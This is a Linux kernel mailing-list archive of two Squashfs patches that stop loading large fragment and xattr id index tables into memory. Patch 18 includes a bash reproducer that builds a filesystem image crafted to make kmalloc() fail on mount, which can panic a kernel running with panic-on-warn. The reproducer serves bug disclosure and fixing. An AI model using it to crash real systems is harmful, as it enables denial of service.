+ start = le64_to_cpu(msblk->fragment_index_array[block]);
+ }
+
+ if (start < msblk->fragment_table_start || start >= msblk->fragment_table)
+ return -EIO;
+
+ return start;
+}
+
/*
* Look-up fragment using the fragment index table. Return the on disk
* location of the fragment and its compressed size
*/
-int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
+int squashfs_frag_lookup(struct super_block *sb, u32 fragment,
u64 *fragment_block)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int block, offset, size;
+ s32 offset, size;
struct squashfs_fragment_entry fragment_entry;
- u64 start_block;
+ s64 start;
if (fragment >= msblk->fragments)
return -EIO;
- block = squashfs_fragment_index(fragment);
- offset = squashfs_fragment_index_offset(fragment);
- start_block = le64_to_cpu(msblk->fragment_index[block]);
+ start = squashfs_frag_lookup_start(sb, fragment);
+ if (start < 0)
+ return start;
- size = squashfs_read_metadata(sb, &fragment_entry, &start_block,
+ offset = squashfs_fragment_index_offset(fragment);
+ size = squashfs_read_metadata(sb, &fragment_entry, &start,
&offset, sizeof(fragment_entry));
if (size < 0)
return size;
@@ -61,11 +101,11 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
/*
* Read the uncompressed fragment lookup table indexes off disk into memory
*/
-__le64 *squashfs_read_fragment_index_table(struct super_block *sb,
+int squashfs_read_fragment_index_table(struct super_block *sb,
u64 fragment_table_start, u64 next_table, unsigned int fragments)
{
- unsigned int length = squashfs_fragment_index_bytes(fragments);
- __le64 *table;
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s32 length = squashfs_fragment_indexes_bytes(fragments);
/*
* The computed size of the index table (length bytes) should exactly
@@ -73,18 +113,36 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,
*/
if (fragment_table_start >= next_table ||
length != (next_table - fragment_table_start))
- return ERR_PTR(-EINVAL);
+ return -EINVAL;
- table = squashfs_read_table(sb, fragment_table_start, length);
+ if (length <= (PAGE_SIZE * 4)) {
+ /* Read fragment index into memory */
+ __le64 *array = squashfs_read_table(sb, fragment_table_start, length);
- /*
- * table[0] points to the first fragment table metadata block, this
- * should be less than fragment_table_start
- */
- if (!IS_ERR(table) && le64_to_cpu(table[0]) >= fragment_table_start) {
- kfree(table);
- return ERR_PTR(-EINVAL);
+ if (IS_ERR(array))
+ return PTR_ERR(array);
+
+ /*
+ * table[0] points to the first fragment table metadata block, this
+ * should be less than fragment_table_start
+ */
+ if (le64_to_cpu(array[0]) >= fragment_table_start) {
+ kfree(array);
+ return -EINVAL;
+ }
+
+ msblk->fragment_index_array = array;
+ msblk->fragment_index_is_cache = false;
+ } else {
+ /* Use a cache to store the last 16Kbytes of indexes read */
+ struct squashfs_cache *cache = squashfs_cache_init("fragment index", 4, PAGE_SIZE);
+
+ if (IS_ERR(cache))
+ return PTR_ERR(cache);
+
+ msblk->fragment_index_cache = cache;
+ msblk->fragment_index_is_cache = true;
}
- return table;
+ return 0;
}
diff --git a/fs/squashfs/squashfs.h b/fs/squashfs/squashfs.h
index d40d40bd61ae..f3a29a1e197d 100644
--- a/fs/squashfs/squashfs.h
+++ b/fs/squashfs/squashfs.h
@@ -70,8 +70,9 @@ extern s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num);
/* fragment.c */
extern int squashfs_frag_lookup(struct super_block *, unsigned int, u64 *);
-extern __le64 *squashfs_read_fragment_index_table(struct super_block *,
+extern int squashfs_read_fragment_index_table(struct super_block *,
u64, u64, unsigned int);
+extern s64 squashfs_frag_lookup_start(struct super_block *sb, u32 fragment);
/* file.c */
void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *,
diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h
index d6b5908fff51..77f7085ad2d0 100644
--- a/fs/squashfs/squashfs_fs_sb.h
+++ b/fs/squashfs/squashfs_fs_sb.h
@@ -59,7 +59,10 @@ struct squashfs_sb_info {
struct address_space *cache_mapping;
int next_meta_index;
__le64 *id_table;
- __le64 *fragment_index;
+ union {
+ __le64 *fragment_index_array;
+ struct squashfs_cache *fragment_index_cache;
+ };
__le64 *xattr_id_table;
struct mutex meta_index_mutex;
struct meta_index *meta_index;
@@ -71,6 +74,8 @@ struct squashfs_sb_info {
u64 inode_table;
u64 directory_table;
u64 directory_table_end;
+ u64 fragment_table;
+ u64 fragment_table_start;
u64 xattr_table;
u64 lookup_table;
u64 lookup_table_start;
@@ -85,5 +90,6 @@ struct squashfs_sb_info {
const struct squashfs_decompressor_thread_ops *thread_ops;
int max_thread_num;
bool lookup_table_is_cache;
+ bool fragment_index_is_cache;
};
#endif
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index be8481e808af..c83007046e5a 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -108,11 +108,37 @@ static inline s32 squashfs_fragment_indexes(u32 fragments)
SQUASHFS_METADATA_SIZE;
}
-static inline s32 squashfs_fragment_index_bytes(u32 fragments)
+static inline s32 squashfs_fragment_indexes_bytes(u32 fragments)
{
return squashfs_fragment_indexes(fragments) * sizeof(long long);
}
+static inline s32 squashfs_fragment_indexes_base(u32 fragments)
+{
+ return (squashfs_fragment_index(fragments) * sizeof(long long)) & ~(PAGE_SIZE - 1);
+}
+
+static inline s64 squashfs_fragment_indexes_start(u32 fragments, struct squashfs_sb_info *msblk)
+{
+ s32 base = squashfs_fragment_indexes_base(fragments);
+ s64 start;
+
+ if (S64_MAX - msblk->fragment_table < base)
+ return -EINVAL;
+
+ start = msblk->fragment_table + base;
+
+ if (start > msblk->bytes_used)
+ return -EINVAL;
+
+ return start;
+}
+
+static inline s16 squashfs_fragment_indexes_offset(u32 fragments)
+{
+ return (squashfs_fragment_index(fragments) * sizeof(long long)) & (PAGE_SIZE - 1);
+}
+
/* inode lookup table defines */
static inline s64 squashfs_lookup_bytes(u32 inodes)
{
diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c
index 8504939f9a8e..287cbc6ad41c 100644
--- a/fs/squashfs/super.c
+++ b/fs/squashfs/super.c
@@ -185,6 +185,14 @@ static void squashfs_free_inode_table(struct squashfs_sb_info *msblk)
kfree(msblk->inode_lookup_array);
}
+static void squashfs_free_fragment_indexes(struct squashfs_sb_info *msblk)
+{
+ if (msblk->fragment_index_is_cache)
+ squashfs_cache_delete(msblk->fragment_index_cache);
+ else
+ kfree(msblk->fragment_index_array);
+}
+
static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
{
struct squashfs_mount_opts *opts = fc->fs_private;
@@ -300,6 +308,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
msblk->inode_table = le64_to_cpu(sblk->inode_table_start);
msblk->directory_table = le64_to_cpu(sblk->directory_table_start);
+ msblk->fragment_table = le64_to_cpu(sblk->fragment_table_start);
msblk->inodes = le32_to_cpu(sblk->inodes);
msblk->fragments = le32_to_cpu(sblk->fragments);
msblk->ids = le16_to_cpu(sblk->no_ids);
@@ -317,8 +326,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
TRACE("Number of ids %d\n", msblk->ids);
TRACE("sblk->inode_table_start %llx\n", msblk->inode_table);
TRACE("sblk->directory_table_start %llx\n", msblk->directory_table);
- TRACE("sblk->fragment_table_start %llx\n",
- (u64) le64_to_cpu(sblk->fragment_table_start));
+ TRACE("sblk->fragment_table_start %llx\n", msblk->fragment_table);
TRACE("sblk->id_table_start %llx\n",
(u64) le64_to_cpu(sblk->id_table_start));
@@ -433,15 +441,19 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
}
/* Allocate and read fragment index table */
- msblk->fragment_index = squashfs_read_fragment_index_table(sb,
- le64_to_cpu(sblk->fragment_table_start), next_table, fragments);
- if (IS_ERR(msblk->fragment_index)) {
+ err = squashfs_read_fragment_index_table(sb, msblk->fragment_table,
+ next_table, fragments);
+ if (err < 0) {
+ errorf(fc, "unable to read fragment index table");
+ goto failed_mount;
+ }
+
+ err = squashfs_frag_lookup_start(sb, 0);
+ if (err < 0) {
errorf(fc, "unable to read fragment index table");
- err = PTR_ERR(msblk->fragment_index);
- msblk->fragment_index = NULL;
goto failed_mount;
}
- next_table = le64_to_cpu(msblk->fragment_index[0]);
+ next_table = msblk->fragment_table_start = err;
check_directory_table:
/* Sanity check directory_table */
@@ -493,7 +505,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
iput(msblk->cache_mapping->host);
msblk->thread_ops->destroy(msblk);
squashfs_free_inode_table(msblk);
- kfree(msblk->fragment_index);
+ squashfs_free_fragment_indexes(msblk);
kfree(msblk->id_table);
kfree(msblk->xattr_id_table);
kfree(sb->s_fs_info);
@@ -613,7 +625,7 @@ static void squashfs_put_super(struct super_block *sb)
iput(sbi->cache_mapping->host);
sbi->thread_ops->destroy(sbi);
kfree(sbi->id_table);
- kfree(sbi->fragment_index);
+ squashfs_free_fragment_indexes(sbi);
kfree(sbi->meta_index);
squashfs_free_inode_table(sbi);
kfree(sbi->xattr_id_table);
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 18/18] Squashfs: don't store large xattr id table indexes in memory
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (16 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 17/18] Squashfs: don't store large fragment " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
When mounting a Squashfs filesystem, the code reads the entire xattr id
table indexes into memory. Their size is determined by the number of
xattr ids in the filesystem, where the maximum number of xattr ids is
2^32, and this will allocate and read 64 MiB.
This is an excessive and unnecessary amount of memory because the
indexes do not need to be read into memory in their entirety. In
addition kmalloc() is used to allocate memory, and this can fail when
large amounts of memory are requested. Kmalloc() on modern kernels is
usually limited to 4096 KiB. If panic-on-warn is set, then failure to
allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the xattr id table
indexes are 4 pages or larger. A simple and fast lookup array is
retained where the total index size is less than 4 pages in size, which
is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with
280 million xattr ids, which will cause the xattr id table indexes to
exceed 4096 KiB, and the kmalloc() should fail when the filesystem is
mounted.
=====================================================================
#!/bin/bash
ARGS="-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates "
ARGS+="-no-exports -no-recovery -no-progress -no-xattr-dups"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file
touch a
a=0
while [ $a -le 19 ]; do
b=0
while [ $b -le 999 ]; do
c=0
while [ $c -le 999 ]; do
echo "X/$a/$b/$c l a" >> file
echo "X/$a/$b/$c x user.x=1" >> file
(( c ++ ))
done
(( b ++ ))
done
(( a ++ ))
done
for i in $(seq 1 14); do
sed "s/X/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
Fixes: 4b5397dc24ab1 ("squashfs: add xattr id support")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/inode.c | 2 +-
fs/squashfs/squashfs_fs_sb.h | 8 +-
fs/squashfs/squashfs_helpers.h | 29 +++++-
fs/squashfs/super.c | 26 +++--
fs/squashfs/xattr.c | 22 +++--
fs/squashfs/xattr.h | 15 ++-
fs/squashfs/xattr_id.c | 169 +++++++++++++++++++++++----------
7 files changed, 198 insertions(+), 73 deletions(-)
diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c
index de53530adc06..9bd1b72cd39d 100644
--- a/fs/squashfs/inode.c
+++ b/fs/squashfs/inode.c
@@ -435,7 +435,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)
return -EINVAL;
}
- if (xattr_id != SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) {
+ if (xattr_id != SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) {
err = squashfs_xattr_lookup(sb, xattr_id,
&squashfs_i(inode)->xattr_count,
&squashfs_i(inode)->xattr_size,
diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h
index 77f7085ad2d0..52ff4f270939 100644
--- a/fs/squashfs/squashfs_fs_sb.h
+++ b/fs/squashfs/squashfs_fs_sb.h
@@ -63,7 +63,10 @@ struct squashfs_sb_info {
__le64 *fragment_index_array;
struct squashfs_cache *fragment_index_cache;
};
- __le64 *xattr_id_table;
+ union {
+ __le64 *xattr_id_array;
+ struct squashfs_cache *xattr_id_cache;
+ };
struct mutex meta_index_mutex;
struct meta_index *meta_index;
void *stream;
@@ -79,6 +82,8 @@ struct squashfs_sb_info {
u64 xattr_table;
u64 lookup_table;
u64 lookup_table_start;
+ u64 xattr_id_table;
+ u64 xattr_id_table_start;
unsigned int block_size;
unsigned short block_log;
long long bytes_used;
@@ -91,5 +96,6 @@ struct squashfs_sb_info {
int max_thread_num;
bool lookup_table_is_cache;
bool fragment_index_is_cache;
+ bool xattr_id_is_cache;
};
#endif
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index c83007046e5a..3b83fdf50aa8 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -241,11 +241,38 @@ static inline s32 squashfs_xattr_blocks(u32 xattrs)
SQUASHFS_METADATA_SIZE;
}
-static inline s32 squashfs_xattr_block_bytes(u32 xattrs)
+static inline s32 squashfs_xattr_blocks_bytes(u32 xattrs)
{
return squashfs_xattr_blocks(xattrs) * sizeof(long long);
}
+static inline s32 squashfs_xattr_blocks_base(u32 xattrs)
+{
+ return (squashfs_xattr_block(xattrs) * sizeof(long long)) & ~(PAGE_SIZE - 1);
+}
+
+static inline s64 squashfs_xattr_blocks_start(u32 xattrs, struct squashfs_sb_info *msblk)
+{
+ s32 base = squashfs_xattr_blocks_base(xattrs);
+ s64 table_start = msblk->xattr_id_table + sizeof(struct squashfs_xattr_id_table);
+ s64 start;
+
+ if (S64_MAX - table_start < base)
+ return -EINVAL;
+
+ start = table_start + base;
+
+ if (start > msblk->bytes_used)
+ return -EINVAL;
+
+ return start;
+}
+
+static inline s16 squashfs_xattr_blocks_offset(u32 xattrs)
+{
+ return (squashfs_xattr_block(xattrs) * sizeof(long long)) & (PAGE_SIZE - 1);
+}
+
static inline u32 squashfs_xattr_blk(s64 xattr)
{
return xattr >> 16;
diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c
index 287cbc6ad41c..b7deedb0850f 100644
--- a/fs/squashfs/super.c
+++ b/fs/squashfs/super.c
@@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexes(struct squashfs_sb_info *msblk)
kfree(msblk->fragment_index_array);
}
+static void squashfs_free_xattr_indexes(struct squashfs_sb_info *msblk)
+{
+ if (msblk->xattr_id_is_cache)
+ squashfs_cache_delete(msblk->xattr_id_cache);
+ else
+ kfree(msblk->xattr_id_array);
+}
+
static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
{
struct squashfs_mount_opts *opts = fc->fs_private;
@@ -202,7 +210,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
long long root_inode;
unsigned short flags;
unsigned int fragments;
- u64 xattr_id_table_start, next_table;
+ u64 next_table;
s64 err;
int devblksize = sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE);
@@ -376,19 +384,17 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
/* Handle xattrs */
sb->s_xattr = squashfs_xattr_handlers;
- xattr_id_table_start = le64_to_cpu(sblk->xattr_id_table_start);
- if (xattr_id_table_start == SQUASHFS_INVALID_BLK) {
+ msblk->xattr_id_table = le64_to_cpu(sblk->xattr_id_table_start);
+ if (msblk->xattr_id_table == SQUASHFS_INVALID_BLK) {
next_table = msblk->bytes_used;
goto allocate_id_index_table;
}
/* Allocate and read xattr id lookup table */
- msblk->xattr_id_table = squashfs_read_xattr_id_table(sb,
- xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids);
- if (IS_ERR(msblk->xattr_id_table)) {
+ err = squashfs_read_xattr_id_table(sb, msblk->xattr_id_table,
+ &msblk->xattr_table, &msblk->xattr_ids);
+ if (err < 0) {
errorf(fc, "unable to read xattr id index table");
- err = PTR_ERR(msblk->xattr_id_table);
- msblk->xattr_id_table = NULL;
if (err != -ENOTSUPP)
goto failed_mount;
}
@@ -507,7 +513,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
squashfs_free_inode_table(msblk);
squashfs_free_fragment_indexes(msblk);
kfree(msblk->id_table);
- kfree(msblk->xattr_id_table);
+ squashfs_free_xattr_indexes(msblk);
kfree(sb->s_fs_info);
sb->s_fs_info = NULL;
kfree(sblk);
@@ -628,7 +634,7 @@ static void squashfs_put_super(struct super_block *sb)
squashfs_free_fragment_indexes(sbi);
kfree(sbi->meta_index);
squashfs_free_inode_table(sbi);
- kfree(sbi->xattr_id_table);
+ squashfs_free_xattr_indexes(sbi);
kfree(sb->s_fs_info);
sb->s_fs_info = NULL;
}
diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c
index d7247648ac35..18ab9b67a0e6 100644
--- a/fs/squashfs/xattr.c
+++ b/fs/squashfs/xattr.c
@@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,
struct inode *inode = d_inode(d);
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
- + msblk->xattr_table;
- int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
- unsigned int count = squashfs_i(inode)->xattr_count;
+ u64 start;
+ int offset;
+ unsigned int count;
size_t rest = buffer_size;
int err;
@@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,
if (squashfs_i(inode)->xattr == SQUASHFS_INVALID_BLK)
return 0;
+ count = squashfs_i(inode)->xattr_count;
if (count == 0 || count > squashfs_i(inode)->xattr_size)
return -EIO;
+ start = squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_table;
+ offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
+
/* loop reading each xattr name */
while (count--) {
struct squashfs_xattr_entry entry;
@@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
{
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
- + msblk->xattr_table;
- int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
- unsigned int count = squashfs_i(inode)->xattr_count;
+ u64 start;
+ int offset;
+ unsigned int count;
int name_len = strlen(name);
int err, vsize;
char *target;
@@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
if (squashfs_i(inode)->xattr == SQUASHFS_INVALID_BLK)
return -ENODATA;
+ count = squashfs_i(inode)->xattr_count;
if (count == 0 || count > squashfs_i(inode)->xattr_size)
return -EIO;
@@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
if (target == NULL)
return -ENOMEM;
+ start = squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_table;
+ offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
+
/* loop reading each xattr name */
for (; count; count--) {
struct squashfs_xattr_entry entry;
diff --git a/fs/squashfs/xattr.h b/fs/squashfs/xattr.h
index b33e9ad4057f..799b328b0e6c 100644
--- a/fs/squashfs/xattr.h
+++ b/fs/squashfs/xattr.h
@@ -9,25 +9,26 @@
*/
#ifdef CONFIG_SQUASHFS_XATTR
-extern __le64 *squashfs_read_xattr_id_table(struct super_block *, u64,
+extern int squashfs_read_xattr_id_table(struct super_block *, u64,
u64 *, unsigned int *);
extern int squashfs_xattr_lookup(struct super_block *, unsigned int,
unsigned int *, unsigned int *, unsigned long long *);
+extern s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 index);
#else
-static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb,
+static inline int squashfs_read_xattr_id_table(struct super_block *sb,
u64 start, u64 *xattr_table_start, unsigned int *xattr_ids)
{
struct squashfs_xattr_id_table *id_table;
id_table = squashfs_read_table(sb, start, sizeof(*id_table));
if (IS_ERR(id_table))
- return (__le64 *) id_table;
+ return PTR_ERR(id_table);
*xattr_table_start = le64_to_cpu(id_table->xattr_table_start);
kfree(id_table);
ERROR("Xattrs in filesystem, these will be ignored\n");
- return ERR_PTR(-ENOTSUPP);
+ return -ENOTSUPP;
}
static inline int squashfs_xattr_lookup(struct super_block *sb,
@@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup(struct super_block *sb,
{
return 0;
}
+
+static inline s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 index)
+{
+ return 0;
+}
+
#define squashfs_listxattr NULL
#define squashfs_xattr_handlers NULL
#endif
diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c
index 621777e0a3b4..fa1e1029a075 100644
--- a/fs/squashfs/xattr_id.c
+++ b/fs/squashfs/xattr_id.c
@@ -23,6 +23,45 @@
#include "squashfs.h"
#include "xattr.h"
+s64 squashfs_xattr_lookup_start(struct super_block *sb, u32 index)
+{
+ struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s64 start;
+
+ if (msblk->xattr_id_is_cache) {
+ s32 length = squashfs_xattr_blocks_bytes(msblk->xattr_ids);
+ s32 base = squashfs_xattr_blocks_base(index);
+ s16 offset = squashfs_xattr_blocks_offset(index);
+ s32 avail = min_t(int, length - base, PAGE_SIZE);
+ struct squashfs_cache_entry *entry;
+
+ start = squashfs_xattr_blocks_start(index, msblk);
+ if (start < 0)
+ return start;
+
+ entry = squashfs_cache_get(sb, msblk->xattr_id_cache, start,
+ avail | SQUASHFS_COMPRESSED_BIT_BLOCK);
+ if (entry->error < 0) {
+ int err = entry->error;
+
+ squashfs_cache_put(entry);
+ return err;
+ }
+
+ start = le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]);
+ squashfs_cache_put(entry);
+ } else {
+ s32 block = squashfs_xattr_block(index);
+
+ start = le64_to_cpu(msblk->xattr_id_array[block]);
+ }
+
+ if (start < msblk->xattr_id_table_start || start >= msblk->xattr_id_table)
+ return -EIO;
+
+ return start;
+}
+
/*
* Map xattr id using the xattr id look up table
*/
@@ -31,19 +70,19 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index,
unsigned long long *xattr)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int block = squashfs_xattr_block(index);
- int offset = squashfs_xattr_block_offset(index);
- u64 start_block;
+ s32 offset = squashfs_xattr_block_offset(index);
+ s64 start;
struct squashfs_xattr_id id;
int err;
if (index >= msblk->xattr_ids)
return -EINVAL;
- start_block = le64_to_cpu(msblk->xattr_id_table[block]);
+ start = squashfs_xattr_lookup_start(sb, index);
+ if (start < 0)
+ return start;
- err = squashfs_read_metadata(sb, &id, &start_block, &offset,
- sizeof(id));
+ err = squashfs_read_metadata(sb, &id, &start, &offset, sizeof(id));
if (err < 0)
return err;
@@ -57,19 +96,19 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index,
/*
* Read uncompressed xattr id lookup table indexes from disk into memory
*/
-__le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,
+int squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,
u64 *xattr_table_start, unsigned int *xattr_ids)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- unsigned int len, indexes;
+ s32 len;
struct squashfs_xattr_id_table *id_table;
- __le64 *table;
u64 start, end;
- int n;
+ s64 res;
+ /* Untrusted table_start will be validated by squashfs_read_data() */
id_table = squashfs_read_table(sb, table_start, sizeof(*id_table));
if (IS_ERR(id_table))
- return (__le64 *) id_table;
+ return PTR_ERR(id_table);
*xattr_table_start = le64_to_cpu(id_table->xattr_table_start);
*xattr_ids = le32_to_cpu(id_table->xattr_ids);
@@ -79,10 +118,9 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,
/* there is always at least one xattr id */
if (*xattr_ids == 0)
- return ERR_PTR(-EINVAL);
+ return -EINVAL;
- len = squashfs_xattr_block_bytes(*xattr_ids);
- indexes = squashfs_xattr_blocks(*xattr_ids);
+ len = squashfs_xattr_blocks_bytes(*xattr_ids);
/*
* The computed size of the index table (len bytes) should exactly
@@ -92,43 +130,78 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,
end = msblk->bytes_used;
if (len != (end - start))
- return ERR_PTR(-EINVAL);
-
- table = squashfs_read_table(sb, start, len);
- if (IS_ERR(table))
- return table;
-
- /* table[0], table[1], ... table[indexes - 1] store the locations
- * of the compressed xattr id blocks. Each entry should be less than
- * the next (i.e. table[0] < table[1]), and the difference between them
- * should be SQUASHFS_METADATA_SIZE or less. table[indexes - 1]
- * should be less than table_start, and again the difference
- * shouls be SQUASHFS_METADATA_SIZE or less.
- *
- * Finally xattr_table_start should be less than table[0].
- */
- for (n = 0; n < (indexes - 1); n++) {
- start = le64_to_cpu(table[n]);
- end = le64_to_cpu(table[n + 1]);
-
- if (start >= end || (end - start) >
- (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
- kfree(table);
- return ERR_PTR(-EINVAL);
+ return -EINVAL;
+
+ if (len <= (PAGE_SIZE * 4)) {
+ /* Read fragment indexes into memory */
+ s32 n, indexes = squashfs_xattr_blocks(*xattr_ids);
+ __le64 *array = squashfs_read_table(sb, start, len);
+
+ if (IS_ERR(array))
+ return PTR_ERR(array);
+
+ /* array[0], array[1], ... array[indexes - 1] store the locations
+ * of the compressed xattr id blocks. Each entry should be less than
+ * the next (i.e. array[0] < array[1]), and the difference between them
+ * should be SQUASHFS_METADATA_SIZE or less. array[indexes - 1]
+ * should be less than array_start, and again the difference
+ * shouls be SQUASHFS_METADATA_SIZE or less.
+ *
+ * Finally xattr_array_start should be less than array[0].
+ */
+ for (n = 0; n < (indexes - 1); n++) {
+ start = le64_to_cpu(array[n]);
+ end = le64_to_cpu(array[n + 1]);
+
+ if (start >= end || (end - start) >
+ (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
+ kfree(array);
+ return -EINVAL;
+ }
}
- }
- start = le64_to_cpu(table[indexes - 1]);
- if (start >= table_start || (table_start - start) >
- (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
- kfree(table);
- return ERR_PTR(-EINVAL);
- }
+ start = le64_to_cpu(array[indexes - 1]);
+ if (start >= table_start || (table_start - start) >
+ (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) {
+ kfree(array);
+ return -EINVAL;
+ }
+
+ msblk->xattr_id_table_start = le64_to_cpu(array[0]);
+ if (*xattr_table_start >= msblk->xattr_id_table_start) {
+ kfree(array);
+ return -EINVAL;
+ }
+
+ msblk->xattr_id_array = array;
+ msblk->xattr_id_is_cache = false;
+ } else {
+ /* Use a cache to store the last 16Kbytes of indexes read */
+ struct squashfs_cache *cache = squashfs_cache_init("xattr index", 4, PAGE_SIZE);
+
+ if (IS_ERR(cache))
+ return PTR_ERR(cache);
- if (*xattr_table_start >= le64_to_cpu(table[0])) {
- kfree(table);
- return ERR_PTR(-EINVAL);
+ msblk->xattr_id_cache = cache;
+ msblk->xattr_id_is_cache = true;
+ msblk->xattr_id_table_start = 0;
+
+ res = squashfs_xattr_lookup_start(sb, 0);
+ if (res < 0)
+ goto corrupted;
+
+ if (*xattr_table_start >= res) {
+ res = -EINVAL;
+ goto corrupted;
+ }
+
+ msblk->xattr_id_table_start = res;
}
- return table;
+ return 0;
+
+corrupted:
+ squashfs_cache_delete(msblk->xattr_id_cache);
+ msblk->xattr_id_cache = NULL;
+ return res;
}
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread